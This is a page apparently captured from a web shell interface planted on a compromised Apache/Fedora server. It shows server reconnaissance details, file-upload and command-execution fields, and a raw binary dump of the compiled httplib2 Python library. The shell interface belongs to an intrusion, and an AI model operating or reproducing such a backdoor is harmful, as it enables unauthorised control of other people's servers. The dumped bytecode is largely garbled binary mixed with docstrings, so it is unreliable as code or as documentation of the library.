403Webshell
Server IP : 182.53.201.61  /  Your IP : 216.73.217.175
Web Server : Apache/2.2.15 (Fedora)
System : Linux km10.dyndns.org 2.6.31.5-127.fc12.i686.PAE #1 SMP Sat Nov 7 21:25:57 EST 2009 i686
User : apache ( 48)
PHP Version : 5.3.3
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /usr/lib/python2.6/site-packages/httplib2/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/lib/python2.6/site-packages/httplib2/__init__.pyc
zGc%@siddklZdZdZdddddd	d
gZdZdZdd
kZdd
kZdd
k	Z	dd
k
Z
dd
kZ
dd
kZ
dd
k
Z
dd
kZdd
kZdd
kZdd
kZdd
kZdd
kZdd
kZdd
kZdd
kZdd
kZdd
kZdd
kZddklZdd
kZydd
kZWnej
o
eZnXei ddfjoddk!l!Z!n
dZ!ddddddddddg
Z"dZ#ei ddfjo
dZ$nd Z%e&ei'd!oe%ei'_(nde)fd"YZ*d#e*fd$YZ+de+fd%YZ,de+fd&YZ-de+fd'YZ.de+fd(YZ/de+fd)YZ0d*e*fd+YZ1d,e*fd-YZ2d.Z3d/d0d1d2d3d4d5d6gZ4d7Z5ei6d8Z7d9Z8d:Z9ei6d;Z:ei6d<Z;d=Z<ei6d>Z=d?Z>d@Z?dZ@ei6dAZAei6dBZBei6dCZCdDdEZDdFZEdGZFdHZGdIZHdJZIdKeJfdLYZKdMeKfdNYZLdOeKfdPYZMdQeKfdRYZNdSeKfdTYZOdUeKfdVYZPheLdW6eOdX6eMdY6eNdZ6ePd[6ZQdZd[dYdXdWgZRd\ZSd]eJfd^YZTd_eJfd`YZUdaeUfdbYZVdeJfdcYZWddeiXfdeYZYdfeiZfdgYZ[deJfdhYZ\de]fdiYZ^d
S(ji(t
generatorss!Joe Gregorio (joe@bitworking.org)sCopyright 2006, Joe Gregorios!Thomas Broyer (t.broyer@ltgt.net)sJames AntillsXavier Verges FarrerosJonathan FeinbergsBlair ZajacsSam RubysLouis NyffeneggertMITs$Rev: 259 $N(tgettextii(tiri2uricCs|S(N((turi((s5/usr/lib/python2.6/site-packages/httplib2/__init__.pyR9stHttptResponset	ProxyInfot
HttpLib2ErrortRedirectMissingLocationt
RedirectLimittFailedToDecompressContentt"UnimplementedDigestAuthOptionErrort&UnimplementedHmacDigestAuthOptionErrort
debugleveliicCs|i|S(N(tsort(tseq((s5/usr/lib/python2.6/site-packages/httplib2/__init__.pytsortedGs
cCs-|idjotin|iiS(s&Return list of (header, value) tuples.N(tmsgtNonethttplibtResponseNotReadytitems(tself((s5/usr/lib/python2.6/site-packages/httplib2/__init__.pytHTTPResponse__getheadersLst
getheaderscBseZRS((t__name__t
__module__(((s5/usr/lib/python2.6/site-packages/httplib2/__init__.pyRVstHttpLib2ErrorWithResponsecBseZdZRS(cCs&||_||_ti||dS(N(tresponsetcontentRt__init__(RtdescRR((s5/usr/lib/python2.6/site-packages/httplib2/__init__.pyR[s		(RRR(((s5/usr/lib/python2.6/site-packages/httplib2/__init__.pyRZscBseZRS((RR(((s5/usr/lib/python2.6/site-packages/httplib2/__init__.pyR	`scBseZRS((RR(((s5/usr/lib/python2.6/site-packages/httplib2/__init__.pyR
ascBseZRS((RR(((s5/usr/lib/python2.6/site-packages/httplib2/__init__.pyRbscBseZRS((RR(((s5/usr/lib/python2.6/site-packages/httplib2/__init__.pyRcscBseZRS((RR(((s5/usr/lib/python2.6/site-packages/httplib2/__init__.pyR
dstRelativeURIErrorcBseZRS((RR(((s5/usr/lib/python2.6/site-packages/httplib2/__init__.pyR!fstServerNotFoundErrorcBseZRS((RR(((s5/usr/lib/python2.6/site-packages/httplib2/__init__.pyR"gsit
connections
keep-alivesproxy-authenticatesproxy-authorizationttettrailersstransfer-encodingtupgradecCstt}|ig}|iddidD]}||iq2~g}|iD]}||jo||q`q`~S(NR#tt,(tlistt
HOP_BY_HOPtextendtgettsplittstriptkeys(Rthopbyhopt_[1]txt_[2]theader((s5/usr/lib/python2.6/site-packages/httplib2/__init__.pyt_get_end2end_headerssCs9^(([^:/?#]+):)?(//([^/?#]*))?([^?#]*)(\?([^#]*))?(#(.*))?cCs<ti|i}|d|d|d|d|dfS(sParses a URI using the regex given in Appendix B of RFC 3986.

        (scheme, authority, path, query, fragment) = parse_uri(uri)
    iiiii(tURItmatchtgroups(RR8((s5/usr/lib/python2.6/site-packages/httplib2/__init__.pyt	parse_uriscCst|\}}}}}|p|otd|n|i}|i}|p
d}n|odi||gp|}|i}|d||}||||fS(Ns(Only absolute URIs are allowed. uri = %st/t?s://(R9R!tlowertjoin(Rtschemet	authoritytpathtquerytfragmenttrequest_urit
defrag_uri((s5/usr/lib/python2.6/site-packages/httplib2/__init__.pyturlnorms
#s^\w+://s[?/:|]+cCsyYti|oEt|to"|id}|id}qX|id}nWntj
onXt|to|id}nti	|i
}tid|}tid|}t
|djo|d }ndi||fS(sReturn a filename suitable for the cache.

    Strips dangerous and common characters to create a filename we
    can use to store the cache in.
    sutf-8tidnaR'R(i(t
re_url_schemeR7t
isinstancetstrtdecodetencodetUnicodeErrortunicodetmd5tnewt	hexdigesttsubtre_slashtlenR=(tfilenametfilemd5((s5/usr/lib/python2.6/site-packages/httplib2/__init__.pytsafenames s(?:\r\n)?[ \t]+cCsOtg}|iD]1\}}||iti|difq~S(Nt (tdictt	iteritemsR<tNORMALIZE_SPACERQR.(theadersR1tkeytvalue((s5/usr/lib/python2.6/site-packages/httplib2/__init__.pyt_normalize_headersscCsh}|ido|did}g}|D]W}d|idjo;|tg}|idD]}||iqj~q4q4~}g}|D]3}	d|	idjo||	idfqq~}
t||
}n|S(Ns
cache-controlR(it=i(thas_keyR-tfindttupleR.RX(R[tretvaltpartsR1tpartR3R2tparts_with_argst_[3]tnamet
parts_wo_args((s5/usr/lib/python2.6/site-packages/httplib2/__init__.pyt_parse_cache_controlskGs^(?:\s*(?:,\s*)?([^\0-\x1f\x7f-\xff()<>@,;:\\\"/[\]?={} \t]+)\s*=\s*\"?((?<=\")(?:[^\0-\x08\x0A-\x1f\x7f-\xff\\\"]|\\[\0-\x7f])*?(?=\")|(?<!\")[^\0-\x1f\x7f-\xff()<>@,;:\\\"/[\]?={} \t]+(?!\"))\"?)(.*)$sk^(?:\s*(?:,\s*)?([^ \t\r\n=]+)\s*=\s*\"?((?<=\")(?:[^\\\"]|\\.)*?(?=\")|(?<!\")[^ \t\r\n,]+(?!\"))\"?)(.*)$s\\(.)swww-authenticatecCs+h}|i|o||i}totpt}x|o|djod|}}n|idd\}}|i|}h}xp|oh|oNt|idjo5|i\}	}
}t	i
d|
||	i<n|i|}qW|||i<|i}q=Wn|S(sCReturns a dictionary of dictionaries, one dict
    per auth_scheme.sauthentication-infotdigestRWiis\1(R`R.tUSE_WWW_AUTH_STRICT_PARSINGtWWW_AUTH_STRICTtWWW_AUTH_RELAXEDR-tsearchRSR8t
UNQUOTE_PAIRSRQR<(R[t
headernameRctauthenticatetwww_authtauth_schemetthe_restR7tauth_paramsR\R]((s5/usr/lib/python2.6/site-packages/httplib2/__init__.pyt_parse_www_authenticates(
  cCsgd}t|}t|}|idoE|diiddjo%d}d|jod|d<qcn|ido
d}n|ido
d}n|ido
d}n|id	otitii|d	}t	i	}t
d
||}|ido4yt|d}Wqtj
o
d
}qXnd|idoMtii|d}	d|	jo
d
}qt
d
ti|	|}nd
}|ido4yt|d}Wqtj
o
d
}qXn|id
o>yt|d
}
Wntj
o
d
}
nX||
7}n||jo
d}qcn|S(sDetermine freshness from the Date, Expires and Cache-Control headers.

    We don't handle the following:

    1. Cache-Control: max-stale
    2. Age: headers are not used in the calculations.

    Not that this algorithm is simpler than you might think 
    because we are operating as a private (non-shared) cache.
    This lets us ignore 's-maxage'. We can also ignore
    'proxy-invalidate' since we aren't a proxy.
    We will never return a stale document as 
    fresh as a design decision, and thus the non-implementation 
    of 'max-stale'. This also lets us safely ignore 'must-revalidate' 
    since we operate as if every server has sent 'must-revalidate'.
    Since we are private we get to ignore both 'public' and
    'private' parameters. We also ignore 'no-transform' since
    we don't do any transformations.    
    The 'no-store' parameter is handled at a higher level.
    So the only Cache-Control parameters we look at are:

    no-cache
    only-if-cached
    max-age
    min-fresh
    tSTALEtpragmasno-cacheitTRANSPARENTs
cache-controlsonly-if-cachedtFRESHtdateismax-agetexpiress	min-freshN(RjR`R<RatcalendarttimegmtemailtUtilstparsedate_tzttimetmaxtintt
ValueErrorR(tresponse_headerstrequest_headersRctcctcc_responseR|tnowtcurrent_agetfreshness_lifetimeR}t	min_fresh((s5/usr/lib/python2.6/site-packages/httplib2/__init__.pyt_entry_dispositionsT0





 
cCs|}y|idd}|djos|djo%tidti|i}n|djoti|}ntt	||d<|d=nWn>t
j
o2d}ttd|id||nX|S(	Nscontent-encodingtgziptdeflatetfileobjscontent-lengthR'sDContent purported to be compressed with %s but failed to decompress.(sgzipR(
R,RRtGzipFiletStringIOtreadtzlibt
decompressRIRStIOErrorRt_(Rtnew_contentRtencoding((s5/usr/lib/python2.6/site-packages/httplib2/__init__.pyt_decompressContent@s

%
*cCs|o
t|}t|}|idp|ido|i|qtii}x5|iD]'\}}	|djo|	||<qlqlW|i}
|
djo
d}
nd|i}|i}ti	dd	|}d
i
|||g}
|i||
ndS(Nsno-storetstatusscontent-encodingstransfer-encodingi0isstatus: %d
s
(?!
)|(?<!
)
s
R'(sstatusscontent-encodingstransfer-encoding(RjR`tdeleteRtMessageRYRt	as_stringtreRQR=tset(RRRtcachetcachekeyRRtinfoR\R]Rt
status_headert
header_strttext((s5/usr/lib/python2.6/site-packages/httplib2/__init__.pyt_updateCachePs$ 

	


c
Cs^tidtig}tdD]}|dtiddq#~fi}|d S(Ns%s:%sit
0123456789ii	i(RNRORtctimetrangetrandomt	randrangeRP(R1titdig((s5/usr/lib/python2.6/site-packages/httplib2/__init__.pyt_cnonceisVcCs/titid|||fiiS(Ns%s%s%s(tbase64tencodestringtshaRORkR.(tcnoncetiso_nowtpassword((s5/usr/lib/python2.6/site-packages/httplib2/__init__.pyt_wsse_username_tokenmstAuthenticationcBs5eZdZdZdZdZdZRS(c
CsCt|\}}	}
}}|
|_||_||_||_dS(N(R9R@thosttcredentialsthttp(
RRRRCR[RRRR>R?R@RARB((s5/usr/lib/python2.6/site-packages/httplib2/__init__.pyRzs
			cCs5t|\}}}}}|t|iidS(NR:(R9RSR@tcount(RRCR>R?R@RARB((s5/usr/lib/python2.6/site-packages/httplib2/__init__.pytdepthscCs;t|\}}}}}||ijo|i|iS(N(R9Rt
startswithR@(RRRCR>R?R@RARB((s5/usr/lib/python2.6/site-packages/httplib2/__init__.pytinscopescCsdS(snModify the request headers to add the appropriate
        Authorization header. Over-rise this in sub-classes.N((RtmethodRCR[R((s5/usr/lib/python2.6/site-packages/httplib2/__init__.pytrequestscCstS(s
Gives us a chance to update with new nonces
        or such returned from the last authorized response.
        Over-rise this in sub-classes if necessary.

        Return TRUE is the request is to be retried, for 
        example Digest may return stale=true.
        (tFalse(RRR((s5/usr/lib/python2.6/site-packages/httplib2/__init__.pyRs(RRRRRRR(((s5/usr/lib/python2.6/site-packages/httplib2/__init__.pyRys
				tBasicAuthenticationcBseZdZdZRS(c	Cs&ti||||||||dS(N(RR(RRRRCR[RRR((s5/usr/lib/python2.6/site-packages/httplib2/__init__.pyRscCs(dtid|ii|d<dS(sOModify the request headers to add the appropriate
        Authorization header.sBasic s%s:%st
authorizationN(RRRR.(RRRCR[R((s5/usr/lib/python2.6/site-packages/httplib2/__init__.pyRs(RRRR(((s5/usr/lib/python2.6/site-packages/httplib2/__init__.pyRs	tDigestAuthenticationcBs,eZdZdZddZdZRS(sNOnly do qop='auth' and MD5, since that 
    is all Apache currently implementsc	Cs^ti||||||||t|d}|d|_|iid}	dg}
|	iD]}|
|iqd~
jodpd|id<|iddjott	d|	n|iidd|id<|iddjo!tt	d|idnd	i
|id
d|idd|id
g|_d
|id<dS(Nswww-authenticateRktqoptauthsUnsupported value for qop: %s.t	algorithmtMD5s$Unsupported value for algorithm: %s.R'it:trealmitnc(
RRRwt	challengeR,R-R.RRRR=RtA1(RRRRCR[RRRRRR1R2((s5/usr/lib/python2.6/site-packages/httplib2/__init__.pyRs"
H!6c	s
dfd}di|d|g}|pt|id<d||id|idd	|id
|id|id|f}d|id
|id|id||id||id|id
|idf	|d<|id
cd7<dS(sModify the request headerscSsti|iS((RNRORP(R2((s5/usr/lib/python2.6/site-packages/httplib2/__init__.pyt<lambda>scsd||fS(s%s:%s((tstd(tH(s5/usr/lib/python2.6/site-packages/httplib2/__init__.pyRsR'RRs"%s"s%s:%s:%s:%s:%stnonces%08xRRsoDigest username="%s", realm="%s", nonce="%s", uri="%s", algorithm=%s, response=%s, qop=%s, nc=%08x, cnonce="%s"iRRt
AuthorizationiN(R=RRRR(	RRRCR[RRtKDtA2trequest_digest((Rs5/usr/lib/python2.6/site-packages/httplib2/__init__.pyRs&	






cCs|idpXt|didh}d|idjo#|d|id<d|id<tSnNt|didh}|id	o"|d	|id<d|id<ntS(
Nsauthentication-infoswww-authenticateRkttruetstaleRiRt	nextnonce(R`RwR,RtTrueR(RRRRtupdated_challenge((s5/usr/lib/python2.6/site-packages/httplib2/__init__.pyRs
	N(RRt__doc__RRRR(((s5/usr/lib/python2.6/site-packages/httplib2/__init__.pyRs	tHmacDigestAuthenticationcBs/eZdZdZdZdZdZRS(s@Adapted from Robert Sayre's code and DigestAuthentication above.s!Thomas Broyer (t.broyer@ltgt.net)c		CsFti||||||||t|d}|d|_|iidd|id<|iddjod|id<n|iidd|id<|iidpttd	n|iid
d|id
<|id
djo!ttd
|id
n|iidd|id<|iddjo!ttd|idn|id
djo
t|_n
t	|_|iddjo
t|_
n
t	|_
di|idd|i
i
di|id|idgiid|idg|_|i
i
|iii|_dS(Nswww-authenticatet
hmacdigesttreasontunauthorizedt	integritytsaltR'tsnoncesCThe challenge doesn't contain a server nonce, or this one is empty.Rs
HMAC-SHA-1sHMAC-MD5s$Unsupported value for algorithm: %s.spw-algorithmsSHA-1Rs'Unsupported value for pw-algorithm: %s.iRiR(RR(s
HMAC-SHA-1sHMAC-MD5(sSHA-1sMD5(RRRwRR,R
RRNthashmodRt	pwhashmodR=RRORPR<R\(	RRRRCR[RRRR((s5/usr/lib/python2.6/site-packages/httplib2/__init__.pyRs2"
!!
	
	8c
Cst|}dig}|D]}|d|q~}dig}	|D]}|	||qK~	}
tidti}t}d||||id|
f}
ti|i	|
|i
ii}
d|i
d|id|id||||
|f|d	<d
S(sModify the request headersR's%s s%Y-%m-%dT%H:%M:%SZs%s:%s:%s:%s:%sRssHMACDigest username="%s", realm="%s", snonce="%s", cnonce="%s", uri="%s", created="%s", response="%s", headers="%s"iRRN(R5R=RtstrftimetgmtimeRRthmacROR\RRPR<R(RRRCR[RR/R1tktkeylistR3theaders_valtcreatedRR((s5/usr/lib/python2.6/site-packages/httplib2/__init__.pyRs ..	 '


cCs:t|didh}|iddjotStS(Nswww-authenticateRRRR(s	integritysstale(RwR,RR(RRRR((s5/usr/lib/python2.6/site-packages/httplib2/__init__.pyRs(RRRt
__author__RRR(((s5/usr/lib/python2.6/site-packages/httplib2/__init__.pyRs
		tWsseAuthenticationcBs eZdZdZdZRS(sThis is thinly tested and should not be relied upon.
    At this time there isn't any third party server to test against.
    Blogger and TypePad implemented this algorithm at one point
    but Blogger has since switched to Basic over HTTPS and 
    TypePad has implemented it wrong, by never issuing a 401
    challenge but instead requiring your client to telepathically know that
    their endpoint is expecting WSSE profile="UsernameToken".c	Cs&ti||||||||dS(N(RR(RRRRCR[RRR((s5/usr/lib/python2.6/site-packages/httplib2/__init__.pyR$scCsid|d<tidti}t}t|||id}d|id|||f|d<dS(	sOModify the request headers to add the appropriate
        Authorization header.sWSSE profile="UsernameToken"Rs%Y-%m-%dT%H:%M:%SZisJUsernameToken Username="%s", PasswordDigest="%s", Nonce="%s", Created="%s"isX-WSSEN(RRRRRR(RRRCR[RRRtpassword_digest((s5/usr/lib/python2.6/site-packages/httplib2/__init__.pyR's
	
(RRRRR(((s5/usr/lib/python2.6/site-packages/httplib2/__init__.pyRs	tGoogleLoginAuthenticationcBseZdZdZRS(cCsiddkl}ti||||||||t|d}	|	didd}
|
djo |iddjo
d	}
ntd
|dd|dd|
d
|d}|ii	dddd||dhdd6\}}|i
d}
tg}|
D]*}|o|t|i
ddqq~}|idjo
d|_
n|d|_
dS(Ni(t	urlencodeswww-authenticatetgooglelogintservicetxapiR~itcltEmailtPasswditsources
user-agents+https://www.google.com/accounts/ClientLoginRtPOSTtbodyR[s!application/x-www-form-urlencodedsContent-Types
R_iR'tAuth(turllibRRRRwR,RaRXRRR-RbRR(RRRRCR[RRRRRRRtresptlinesR1tlineR((s5/usr/lib/python2.6/site-packages/httplib2/__init__.pyR5s"#
-7D
cCsd|i|d<dS(sOModify the request headers to add the appropriate
        Authorization header.sGoogleLogin Auth=RN(R(RRRCR[R((s5/usr/lib/python2.6/site-packages/httplib2/__init__.pyRKs(RRRR(((s5/usr/lib/python2.6/site-packages/httplib2/__init__.pyR4s	tbasictwsseRkRRcCsdS(N((R((s5/usr/lib/python2.6/site-packages/httplib2/__init__.pyt_md5[st	FileCachecBs5eZdZedZdZdZdZRS(sUses a local directory as a store for cached files.
    Not really safe to use if multiple threads or processes are going to 
    be running on the same cache.
    cCs=||_||_tii|pti|indS(N(RtsafetosR@texiststmakedirs(RRR((s5/usr/lib/python2.6/site-packages/httplib2/__init__.pyRcs		cCsjd}tii|i|i|}y)t|d}|i}|iWnt	j
onX|S(Ntr(
RRR@R=RRtfileRtcloseR(RR\Rct
cacheFullPathtf((s5/usr/lib/python2.6/site-packages/httplib2/__init__.pyR,is!cCsKtii|i|i|}t|d}|i||idS(Ntw(RR@R=RRRtwriteR(RR\R]R
R((s5/usr/lib/python2.6/site-packages/httplib2/__init__.pyRts!
cCsItii|i|i|}tii|oti|ndS(N(RR@R=RRRtremove(RR\R
((s5/usr/lib/python2.6/site-packages/httplib2/__init__.pyRzs!(RRRRVRR,RR(((s5/usr/lib/python2.6/site-packages/httplib2/__init__.pyR^s
		tCredentialscBs/eZdZddZdZdZRS(cCs
g|_dS(N(R(R((s5/usr/lib/python2.6/site-packages/httplib2/__init__.pyRsR'cCs#|ii|i||fdS(N(RtappendR<(RRhRtdomain((s5/usr/lib/python2.6/site-packages/httplib2/__init__.pytaddscCs
g|_dS(N(R(R((s5/usr/lib/python2.6/site-packages/httplib2/__init__.pytclearsccsJxC|iD]8\}}}|djp
||jo||fVq
q
WdS(NR'(R(RRtcdomainRhR((s5/usr/lib/python2.6/site-packages/httplib2/__init__.pytiters
(RRRRRR(((s5/usr/lib/python2.6/site-packages/httplib2/__init__.pyRs		tKeyCertscBseZdZRS(sNIdentical to Credentials except that
    name/password are mapped to key/cert.(RRR(((s5/usr/lib/python2.6/site-packages/httplib2/__init__.pyRscBs2eZdZddddZdZdZRS(s,Collect information required to use a proxy.cCs@||||||f\|_|_|_|_|_|_dS(sThe parameter proxy_type must be set to one of socks.PROXY_TYPE_XXX
      constants. For example:

p = ProxyInfo(proxy_type=socks.PROXY_TYPE_HTTP, proxy_host='localhost', proxy_port=8000)
      N(t
proxy_typet
proxy_hostt
proxy_portt
proxy_rdnst
proxy_usert
proxy_pass(RRRRRRR((s5/usr/lib/python2.6/site-packages/httplib2/__init__.pyRscCs(|i|i|i|i|i|ifS(N(RRRRRR(R((s5/usr/lib/python2.6/site-packages/httplib2/__init__.pytastuplescCs$to|idjo
|idjS(N(tsocksRRR(R((s5/usr/lib/python2.6/site-packages/httplib2/__init__.pytisgoodsN(RRRRRR R"(((s5/usr/lib/python2.6/site-packages/httplib2/__init__.pyRs	tHTTPConnectionWithTimeoutcBs,eZdZdddddZdZRS(s.HTTPConnection subclass that supports timeoutscCs/tii||||||_||_dS(N(RtHTTPConnectionRttimeoutt
proxy_info(RRtporttstrictR%R&((s5/usr/lib/python2.6/site-packages/httplib2/__init__.pyRs	cCsd}xuti|i|idtiD]R}|\}}}}}y|ioE|iio5ti||||_	|i	i
|iinti||||_	|idj	o|i	i|in|idjod|i|ifGHn|i	i|Wnhtij
oY}|idjodG|i|ifGHn|i	o|i	ind|_	q(nXPq(W|i	pti|ndS(s3Connect to the host and port specified in __init__.s!getaddrinfo returns an empty listisconnect: (%s, %s)s
connect fail:N(tsockettgetaddrinfoRR'tSOCK_STREAMR&R"R!t
socksockettsocktsetproxyR R%Rt
settimeoutRtconnectterrorR(RRtrestaftsocktypetprotot	canonnametsa((s5/usr/lib/python2.6/site-packages/httplib2/__init__.pyR0s2

	
N(RRRRRR0(((s5/usr/lib/python2.6/site-packages/httplib2/__init__.pyR#stHTTPSConnectionWithTimeoutcBs2eZdZdddddddZdZRS(s(This class allows communication via SSL.cCsA||_||_tii||d|d|d|d|dS(NR'tkey_filet	cert_fileR((R%R&RtHTTPSConnectionR(RRR'R9R:R(R%R&((s5/usr/lib/python2.6/site-packages/httplib2/__init__.pyRs		cCs|ioC|iio3|ii|ii|i|iintititi}|idj	o|i
|in|i|i|i
fti||i|i}ti|||_dS(s(Connect to a host on a given (SSL) port.N(R&R"R-R.R R)tAF_INETR+R%RR/R0RR'tsslR9R:Rt
FakeSocket(RR-R=((s5/usr/lib/python2.6/site-packages/httplib2/__init__.pyR0sN(RRRRRR0(((s5/usr/lib/python2.6/site-packages/httplib2/__init__.pyR8s	cBsqeZdZddddZdZddZdZdZdZ	dZ
d	ddedd
ZRS(s{An HTTP client that handles:
- all methods
- caching
- ETags
- compression,
- HTTPS
- Basic
- Digest
- WSSE

and more.
    cCs||_h|_|o#t|tot||_n
||_t|_t|_	g|_
t|_t
|_t
|_t
|_||_dS(sThe value of proxy_info is a ProxyInfo instance.

If 'cache' is a string then it is used as a directory name
for a disk cache. Otherwise it must be an object that supports
the same interface as FileCache.N(R&tconnectionsRHRIRRRRRtcertificatestauthorizationsRtfollow_redirectsRtfollow_all_redirectstignore_etagtforce_exception_to_status_codeR%(RRR%R&((s5/usr/lib/python2.6/site-packages/httplib2/__init__.pyRs								c	
csvt|d}x`|ii|D]L}xCtD];}|i|o%t||||||||Vq/q/Wq"WdS(scA generator that creates Authorization objects
           that can be applied to requests.
        swww-authenticateN(RwRRtAUTH_SCHEME_ORDERR`tAUTH_SCHEME_CLASSES(	RRRCR[RRt
challengestcredR>((s5/usr/lib/python2.6/site-packages/httplib2/__init__.pyt_auth_from_challengesR'cCs|ii|||dS(s]Add a name and password that will be used
        any time a request requires authentication.N(RR(RRhRR((s5/usr/lib/python2.6/site-packages/httplib2/__init__.pytadd_credentials$scCs|ii|||dS(sXAdd a key and cert that will be used
        any time a request requires authentication.N(R@R(RR\tcertR((s5/usr/lib/python2.6/site-packages/httplib2/__init__.pytadd_certificate)scCs|iig|_dS(sKRemove all the names and passwords
        that are used for authenticationN(RRRA(R((s5/usr/lib/python2.6/site-packages/httplib2/__init__.pytclear_credentials.s
c
	CsxtdD]}y&|i|||||i}Wnutij
o$|itd|in|ti	j
o4}|djo|i|i
q
qn:X|i}	t|}|djot
||	}	nPq
W||	fS(NisUnable to find the server at %sitHEAD(RRtgetresponseR)tgaierrorRR"RRt
HTTPExceptionR0RRR(
RtconnRCRRR[RRteR((s5/usr/lib/python2.6/site-packages/httplib2/__init__.pyt
_conn_request4s(





c
Csig}
|iD]3}|i||o|
|i||fqq~
}|ot|ddpd}|o|i||||n|i|||||\}
}|o[|i|
|oD|i|||||i|||||\}
}d|
_qn|
i	djox|i
||||
|D]r}|i|||||i|||||\}
}|
i	djo%|ii||i|
|Pq<q<Wn|ip|djp|
i	djo|i
o|
i	djo|o|
ido,|
i	djottd|
|n|
idoP|
d}t|\}}}}}|djoti|||
d<qn|
i	djoV|djoI|
d|
d
<|
idp||
d<nt||
||i|	n|ido|d=n|ido|d=n|
ido|
d}ti|
}|idp||d<n|
i	djo|djodp|}|i||d|d|d|d\}
}||
_qq[ttd|
|q_|
i	djoH|djo;|
idp||
d<nt||
||i|	q_n|
|fS(smDo the actual request using the connection object
        and also follow one level of redirects if necessaryiiitGETROi/i,i-i.i3tlocations:Redirected but the response is missing a Location: header.s-x-permanent-redirect-urlscontent-locations
if-none-matchsif-modified-sinceRR[tredirectionss3Redirected more times than rediection_limit allows.iiN(RVsHEAD(i,i-i.i/i3(RVsHEAD(RVsHEAD(ii(RARRRRRRURt
_stale_digestRRJRRCRBR`R	RR9turlparseturljoinRRtcopytdeepcopytpreviousR
(RRSRtabsolute_uriRCRRR[RXRR1RtauthsRRRRWR>R?R@RARBtold_responsetredirect_method((s5/usr/lib/python2.6/site-packages/httplib2/__init__.pyt_requestMshJ"!!!
'!


*.!RVcCs\yb|d+jo
h}n
t|}|idpdt|d<nt|}t|\}}}	}
|d|}||ijo|i|}n|p|djotpt}nt	|i
i|}
|djoP|
oI||d|
ddd|
ddd	|id
|i
}|i|<n*||d	|id
|i
}|i|<|it|d,jod
|jod|d<ntii}d+}|io|
}|ii|}|o_ti|}y|iddd}Wq0tj
o#|ii|d+}d+}q0Xq:nd+}|d-joD|io:|ido*|iod|jo|d|d<n|d.jo%|io|o|ii|n|op|d/joc|ioYd
|joL|idoK|i|ddd|d|d\}}t||_t|i_nt||}|djoF|pd|d<d}nt|}|o
t|_n||fS|djom|ido*|iod|jo|d|d<n|idod|jo|d|d<q0n|djon|i||||	|||||	\}}|i d jo|djox"t!|D]}||||<qWt|}t"|d!o|i#|_#nt$||||i||}d"|_ t|_qa|i d"jo
|}qa|ii||}n.|i||||	|||||	\}}Wnt%j
o}|i&ot'|t(o.|i)}|i*}d#|_ t+||_,qMt'|t-io:d$}thd%d&6d'd6t.|d(6}d$|_,qMt+|}thd%d&6d)d6t.|d(6}d*|_,qRnX||fS(0s Performs a single HTTP request.
The 'uri' is the URI of the HTTP resource and can begin 
with either 'http' or 'https'. The value of 'uri' must be an absolute URI.

The 'method' is the HTTP method to perform, such as GET, POST, DELETE, etc. 
There is no restriction on the methods allowed.

The 'body' is the entity body to be sent with the request. It is a string
object.

Any extra headers that are to be sent with the request should be provided in the
'headers' dictionary.

The maximum number of redirect to follow before raising an 
exception is 'redirections. The default is 5.

The return value is a tuple of (response, content), the first 
being and instance of the 'Response' class, the second being 
a string that contains the response entity body.
        s
user-agentsPython-httplib2/%sRthttpsR9iR:iR%R&RVRORscompress, gzipsaccept-encodings

tPUTtetagsif-matchs-x-permanent-redirect-urlR[RXR{t504RR'Rxs
if-none-matchs
last-modifiedsif-modified-sinceRzi0RYiisRequest Timeouts
text/plainscontent-typet408scontent-lengtht400sBad RequestN(sGETsHEAD(Re(sGETsHEAD(sGETsHEAD(/RR^R`t__version__RRER?R8R#R)R@RR%R&tset_debuglevelRRRRR,tmessage_from_stringR-t
IndexErrorRRDRRR^Rt	fromcacheRRcRR5thasattrRYRt	ExceptionRERHRRRRIRR)RS(RRRRR[RXtconnection_typeR>R?RCRDtconn_keyRStcertsRtcached_valueRRRRtentry_dispositionR\tmerged_responseRT((s5/usr/lib/python2.6/site-packages/httplib2/__init__.pyRs

2)

?+,





(
-
	


1
			

N(
RRRRRRJRKRMRNRURctDEFAULT_MAX_REDIRECTSR(((s5/usr/lib/python2.6/site-packages/httplib2/__init__.pyRs&	
				HcBs>eZdZeZdZdZdZdZ	dZ
dZRS(s<An object more like email.Message than httplib.HTTPResponse.iitOkcCst|tiobx$|iD]\}}|||<q W|i|_t|i|d<|i|_|i|_nt|ti	i	o>x$|i
D]\}}|||<qWt|d|_nFx$|iD]\}}|||<qWt|i
d|i|_dS(NR(RHRtHTTPResponseRRRIRtversionRRRRRYR,(RRR\R]((s5/usr/lib/python2.6/site-packages/httplib2/__init__.pyRKs"


cCs|djo|St|dS(NRX(tAttributeError(RRh((s5/usr/lib/python2.6/site-packages/httplib2/__init__.pyt__getattr___s
N(RRRRRnRzRRRR^RR|(((s5/usr/lib/python2.6/site-packages/httplib2/__init__.pyR:s	(_t
__future__RRt
__copyright__t__contributors__t__license__RjRtsysRNRtemail.Utilst
email.MessageRRRRRZRRR\R~RRRRRRR)R!tImportErrorRtversion_infoRt__all__RRRRoRyRRpRRR	R
RRR
R!R"RwR*R5tcompileR6R9RERGRRRVRZR^RjRlRmRnRpRwRRRRRtobjectRRRRRRRGRFRRRRRR$R#R;R8RRXR(((s5/usr/lib/python2.6/site-packages/httplib2/__init__.pyt<module>s				
							
	J				"
9>
	!'T

Youez - 2016 - github.com/yon3zu
LinuXploit